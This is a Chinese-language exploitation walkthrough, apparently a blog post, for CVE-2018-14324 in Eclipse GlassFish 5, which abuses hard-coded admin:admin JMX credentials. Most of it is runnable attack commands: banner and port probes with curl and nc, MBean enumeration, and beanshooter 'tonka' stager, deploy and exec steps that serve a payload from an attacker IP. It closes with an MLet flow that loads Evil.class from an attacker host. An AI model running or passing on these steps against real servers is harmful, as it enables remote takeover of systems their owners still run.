
Hacking Eclipse GlassFish - CVE-2018-14324
CVE-2018-14324 的描述 并未完全解释此漏洞的影响。TLDR:你可以通过硬编码的 admin:admin 凭据访问 Java 管理扩展 (JMX)。
虽然其影响被描述为“可能泄露敏感信息、执行数据库操作或通过 JMX RMI 会话操控演示”,但它并未解释通过 JMX RMI 会话进行操控意味着什么。
我深入研究仅仅是因为 CVSS 评分高达 9.8,结果发现你可以通过 javax.management.loading:type=MLet MBean 实际实现 RCE,该 MBean 在 GlassFish 5 实例中默认启用。
通过查看版本横幅来枚举 GlassFish 服务器。
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
如果版本是 5,则存在 CVE-2018-14324 漏洞。
然后检查 JMX RMI 服务是否在 7676 端口上运行。
nc <IP_ADDRESS> 7676
你应该会看到连接字符串指向 JMX RMI 服务。保存该字符串供后续使用。
例如:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
如你所见,连接字符串中使用了主机名 vm31465,提到了两个端口:8686 和 7676。
你应该将 vm31465 添加到 /etc/hosts 文件中,指向 IP 地址。如果使用 Beanshooter,则不必这样做。
JMX 到底是什么?它是 Java 管理扩展 (JMX),一种使你能够为 Java 应用程序实现管理接口的技术。可以将其视为 Java 应用程序的 SNMP。
首先,你需要枚举目标系统上可用的 MBean。
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# 如果不起作用
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
使用此脚本,你将获得 MBean 列表及其属性和操作。
Mbean com.sun.management:type=DiagnosticCommand 允许你在目标 JVM 上运行诊断命令。你可以使用它来枚举系统属性,有关详细信息,请参阅 DiagnosticCommand.java。
如果你看到 javax.management.loading:type=MLet,则应该能够利用目标。此 MBean 允许你将远程 Java 类加载到目标 JVM 中。
但是,Java 安全管理器可能会阻止你执行任意代码。
唯一有效的 RCE 利用方法是 beanshooter 中的 tomka 模块。自定义攻击被安全管理器阻止。MLet 加载仍然有效,但该类不允许执行代码。
使用 Beanshooter 的 tomka 模块来利用目标。
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
你也可以通过编写自己的 MBean 加载器并监控目标是否连接到你的 MLet 服务器来进行调试。 流程如下:
攻击者 -> 受害者:7776 : javax.management.loading:type=MLet MBean 查找
攻击者:8080 <- 受害者:7776 : 请求 MLet 文件
攻击者:8080 -> 受害者:7776 : 包含 Java 类文件 URL 的 MLet(例如 http://attacker:8080/Evil.class)
攻击者:8080 <- 受害者:7776 : 请求 Java 类文件
攻击者:8080 -> 受害者:7776 : Java 类文件
攻击者 -> 受害者:7776 : 在加载的 Java 类上调用方法(例如 Evil.listFiles())